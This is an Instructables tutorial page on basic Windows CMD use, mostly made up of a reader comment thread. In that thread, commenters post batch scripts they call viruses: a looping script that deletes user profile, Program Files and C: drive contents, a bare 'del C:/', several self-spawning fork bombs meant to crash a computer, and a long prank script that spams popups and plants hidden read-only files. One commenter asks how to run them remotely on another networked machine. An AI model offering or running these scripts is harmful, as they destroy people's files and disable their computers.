CMD Tricks 101

 by BatchMan
This will teach you how to do CMD.

CMD is the original MS-DOS command prompt, the Shell.

First, click START
Then press Run...
Type CMD or COMMAND
This window should appear

 
Remove these adsRemove these ads by Signing Up

Step 1: EDIT: The worlds worst editor

EDIT.bmp
type EDIT Example.TXT
this window should appear
type whatever you want(I said hello ppl at INSTRUCTABLES)
I said it was the worlds worst cause it is, it stinks only one size, one font, one color.
At least no stoopid spell check...................
But good for batch...
1-40 of 91Next »
mikroskeem says: Jan 30, 2013. 7:01 AM
heh open big 600+ mb iso file with notepad++ :D quick bluescreen
crazyman135790 says: Apr 21, 2011. 1:56 PM
what i call the deth virus

del C:/
techno guy in reply to crazyman135790Dec 18, 2011. 6:12 PM
if you try to delete the c: drive, doesnt it ask you if you realy want to like: (Y/N) or something like that?
sandmman in reply to techno guyNov 6, 2012. 8:02 AM
You would have to add /p or -p after del for it to prompt you
nutsandbolts_64 in reply to crazyman135790Jun 11, 2011. 8:03 PM
You can't delete an entire HDD partition within 1 second w/ out the guy knowing... Or can you?
mikroskeem says: Apr 29, 2012. 7:48 AM
Try this destroyer:

@echo off
:start
cls
del %userprofile% /Q
del %ProgramFiles% /Q
:top
del C: /Q
goto start

It really harms your computer and files
sandmman in reply to mikroskeemNov 6, 2012. 7:56 AM
Deletes your User data, Program files and C drive?
itsmetomyouknow says: Oct 26, 2012. 7:41 AM
More usefull cmd tricks at youtube:
Get Installed Driver Information with cmd:
http://youtu.be/4Gm8dfxiX5o

Change color in CMD:
http://youtu.be/HBiu48o2R4k

Copy from the command prompt:
http://youtu.be/AYiuGSbS5Dg

How to change the directory/path in cmd:
http://youtu.be/zjnefuoQGTY

And more video's on the channel.
mikroskeem says: Sep 29, 2012. 2:54 AM
did you use bat to exe converter?
It has problems, it works in that computer, where you complimed in it
shabbirkhan31 says: Aug 30, 2012. 12:29 AM
ehhhhhhhhh so long trick i m tired
nversluis says: Mar 27, 2012. 4:07 PM
Does anyone know a website with more CMD commands to mess with stuff? That would be really helpful.
Broom in reply to nversluisJun 4, 2012. 9:21 AM
Search for "DOS commands" on the web. "CMD" is just the DOS command that summons the terminal these are typed into.
siddharth22 says: May 23, 2012. 7:59 AM
how to remove this error ???
siddharth22 says: May 23, 2012. 7:59 AM
how to remove this error ???
siddharth22 says: May 23, 2012. 7:59 AM
02.jpg
siverstein says: Dec 3, 2009. 10:23 AM
actually.. the first will eventually.. if not stopped.. crash the computer..

but.. a much better virus that is impsible to stop that will crash the comp at a *much* faster rate, is this.

open note pad.

save as. name.bat

then code it

only needs 3 lines.

:start
start name.bat
go to start

its an endless loop that constantly opens more endless loops.

eventually, your comp will run out room to run all of them and just die >; )
impulsegordon in reply to siversteinMar 11, 2012. 4:21 AM
can you do that remotly if you are on the same network and have that computer info?
will421 in reply to siversteinFeb 10, 2011. 2:33 PM
*COUGH*
why not:

cd %SYSTEMDRIVE%/
:start
copy *.* %random%.*
start *.*
goto start
TheBatchies in reply to siversteinMar 6, 2010. 5:13 AM
:a
start & goto a

Only two lines :D
acdurai in reply to siversteinFeb 9, 2010. 8:25 PM
Dear friend,ur notepad virus code is very nice...
impulsegordon says: Mar 11, 2012. 4:16 AM
ok i am trying a remote shutdown on a computer that is on my network but it is hardwired into the network and i am on a wireless computer any suggestions?
sheildshirt says: Mar 9, 2012. 9:38 AM
This is a fun scare:
@echo off
echo Yes
echo you
echo got
echo it
echo !!
echo.
pause
echo.
echo This
echo indeed
echo is
echo a
echo virus
echo !!!
echo.
pause
echo.
msg * So
msg * you
msg * should
msg * probably
msg * close
msg * is
msg * now
msg * before
msg * I
msg * start
msg * to
msg * infect
msg * !!!
pause
echo LIKE
echo THIS
echo !!!!
pause
echo like this!! >> random
echo like this!! >> random1
echo like this!! >> random2
echo like this!! >> random3
echo like this!! >> random4
echo like this!! >> random5
echo like this!! >> random6
echo like this!! >> random7
echo like this!! >> random8
echo like this!! >> random0
echo like this!! >> random9
echo like this!! >> randomq
echo like this!! >> randomw
echo like this!! >> randome
echo like this!! >> randomr
echo like this!! >> randomt
echo like this!! >> randomy
echo like this!! >> randomu
echo like this!! >> randomi
echo like this!! >> randomo
echo like this!! >> randomp
echo like this!! >> randoma
echo like this!! >> randoms
echo like this!! >> randomd
echo like this!! >> randomf
echo like this!! >> randomg
echo AND
echo THIS
echo !!!!
pause
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
msg * PANIC!!!!
echo HA
echo HA
echo HA
echo !!
pause
echo.
echo.
echo SCARED??
pause
echo.
echo.
echo WANT TO CLOSE THIS ANNOYING PROGRAM??
pause
attrib +r +s random1
attrib +r +s random2
attrib +r +s random3
attrib +r +s random4
attrib +r +s random5
attrib +r +s random6
attrib +r +s random7
attrib +r +s random8
attrib +r +s random9
attrib +r +s random0
attrib +r +s randomq
attrib +r +s randomw
attrib +r +s randome
attrib +r +s randomr
attrib +r +s randomt
attrib +r +s randomu
attrib +r +s randomy
attrib +r +s randomi
attrib +r +s randomo
attrib +r +s randomp
attrib +r +s randoma
attrib +r +s randoms
attrib +r +s randomd
attrib +r +s randomf
attrib +r +s randomg
echo.
echo.
echo.
echo.
echo HAHA!!
pause
echo YOU THOUGHT I WAS GONE DID YOU??
pause
echo WELL...
pause
echo @echo on
echo del C:/
echo Are you sure?(Y/N)
echo y
echo C:/ format complete.
echo pause
pause
echo pause
pause
echo echo oh oops I turned the echo on...
echo oh oops I turned the echo on...
echo pause
pause
echo @echo off
pause
echo thats better...
pause
echo well goodbye and have a close look at your desktop!!
pause
echo HAHAHAHAHAHAHAHAHAHA *cough* HAHAHAHA!!!!!
GOTO GOOD
echo if you see this then your cheating!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
:GOOD
pause
echo if you edit this you may see something that I hid just above this...
pause
echo anyway you can close this now!
pause
echo Press any key to exit...
pause
echo Nah I'm just joking you're OK...
pause
pause>nul
pause>nul
msg * BOO!!
msg * HAHAHAHA!!
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
msg * BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!
msg * HAHAHA!!
pause
pause
echo THANK YOU!! THANK YOU VERY MUCH!!
echo You have been a great audience!!
pause
echo now...
pause
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo STOP BEING STUPID AND CLOSE THIS PROGRAM!!!!!!!!!!!!
pause
exit
if your smart enough you'll copy and paste
UberHacker says: Oct 20, 2008. 5:25 PM
UberHacker agrees with collard41 except that there are much cooler things you can do with cmd it will most defentily blow your mind if you want to find out more email me at gmnorth@gmail.com
alvin ngota oyungu in reply to UberHackerJan 6, 2012. 7:05 AM
i would like if you would send me any nice tricks in cmd my email is ngotalvin@gmail.com
Foogie in reply to UberHackerAug 14, 2010. 1:49 PM
I ll take note of that.
Fox-san48 in reply to UberHackerMar 19, 2010. 9:41 PM
i think i will
techno guy says: Dec 18, 2011. 6:15 PM
The edit thing to make or edit files and stuff doesnt work, it says: 'edit' is not recognized as an internal or external command, operable program or batch file.
zapper067 says: Aug 9, 2011. 5:38 AM
full screen it,please?{the code in the file}
sgoomba in reply to zapper067Oct 23, 2011. 11:09 PM
you can switch to full screen in the option.
mikroskeem says: Aug 30, 2011. 3:49 AM
Is ans.exe a virus? My f-secure shows it „Trojan-Generic”
What the h<#*?
mhooper1 says: Jul 10, 2011. 2:52 PM
This isn't working. When I download it and rename it, its still just a temp file and it still doesn't do anything.
mhooper1 says: Jul 9, 2011. 10:35 PM
Do these tricks over work for a certain operating system? I can't seem to get it to work on my Windows Vista.
yrahman1 says: Jun 23, 2011. 10:19 AM
sorry to burst yur bubble people but...... it works. i tryed it now ^.....^
monkeyking135 says: May 8, 2011. 1:35 AM
Boot to floppy ?? could you do one to boot to memory stick?
dgomme says: Apr 8, 2011. 8:47 AM
lol look at the pic, scrollbar at the bottom totally gives it away :D
cool knex13 says: Feb 18, 2011. 11:09 AM
YEP IT WORKS I TRYED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
heheheq says: Jul 24, 2009. 10:06 AM
del deletes any files, as long as you specify where it is format formats a harddrive echo shows where the file comes from or it hides it. I WIN
will421 in reply to heheheqFeb 10, 2011. 2:22 PM
nope.avi
zye says: Jan 5, 2011. 8:54 PM
You can change the color with the options dropdown menu
rub3n says: Oct 29, 2010. 11:02 PM
lol i love this stuff :D
1-40 of 91Next »
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!